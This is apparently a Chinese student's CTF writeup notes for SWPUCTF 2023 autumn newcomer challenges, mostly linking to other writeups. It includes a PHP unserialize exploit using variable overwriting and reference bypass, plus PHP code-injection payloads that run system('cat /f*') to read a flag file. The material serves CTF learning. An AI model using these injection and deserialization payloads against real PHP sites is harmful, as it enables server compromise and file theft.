web
学习一下:[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup-CSDN博客
查查need
看这个大佬的手工注入,nb呀
文章列表 | NSSCTF
其实也是可以使用sqlmap一把梭哈!
看了教程:SQLmap使用教程图文教程(非常详细)从零基础入门到精通,看完这一篇就够了。-CSDN博客
非常的没有灵魂:
Pingpingping
这题需要恶补以下非法传参的PHP问题:
谈一谈PHP中关于非法参数名传参问题_php 非法传参名-CSDN博客
还有一些数组绕过问题:
PHP特性之CTF中常见的PHP绕过_Myon⁶的博客-CSDN博客
backup
这题没啥可说了,反序列化之前也专门练过了。。。
hint有提示备份文件,直接访问www.zip
,可以得到源代码
<?php
error_reporting(0);
require_once("flag.php");
class popmart{
public $yuki;
public $molly;
public $dimoo;
public function __construct(){
$this->yuki='tell me where';
$this->molly='dont_tell_you';
$this->dimoo="you_can_guess";
}
public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;
if($this->molly === $this->yuki){
echo $flag;
}
}
}
$pucky = $_GET['wq'];
if(isset($pucky)){
if($pucky==="二仙桥"){
extract($_POST);
if($pucky==="二仙桥"){
die("<script>window.alert('说说看,你要去哪??');</script>");
}
unserialize($pucky);
}
}
看来我们需要让wq等于二仙桥来进入第一个if语句,然后再绕过第二个if语句,进行反序列化
在进入unserialize之后,__wakeup()会进行赋值,如果molly===yuki那么即可得到flag
第一个点,就是绕过第二个if,这里直接变量覆盖即可,当然GET和POST都发送wq是不行的,在POST中发送pucky即可
然后在反序列化的时候采取引用绕过的方式,exp如下
<?php
class popmart{
public $yuki;
public $molly;
public $dimoo;
}
$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);
# O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
NSS大卖场
文章列表 | NSSCTF
if_else
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果
提交方式$_POST["check"]
记得访问一下check.php哦~
check.php的内容
<?php
$a=false;
$b=false;
if(你提交的部分将会被写至这里)
{$a=true;}
else
{$b=true;}
if($a===true&&$b===true)
eval(system(cat /flag));
?>
这题的payload应该多种多样,如下都可:
check=11==11){ system(‘cat /f*’);} /*
1) { echo file_get_contents('/flag'); } elseif (1
Misc
关于压缩包伪加密的相关问题_rar伪加密改24字节后依然打不开-CSDN博客
WD code
看看这个ps处理的二维码:关于一张处理过的二维码图,如何还原。? - 知乎 (zhihu.com)
奇妙的探索之旅
文章列表 | NSSCTF
Reverse
2023年SWPU NSS 秋季招新赛 CTF Reverse‘方向WP详解-CSDN博客
哇偶,这里竟然还有游戏逆向的内容,少见,引入一片大佬文章:
奇安信攻防社区-浅谈CTF中的unity游戏逆向 (butian.net)
引入原话
unity主要可以看成两类,dll游戏和libil2cpp游戏,dll游戏比较简单,其核心代码都在
game/assets/bin/data/Managed/Assembly-CSarp.dll
这个 dll 文件中
PWN
2023年SWPU NSS 秋季招新赛 PWN-CSDN博客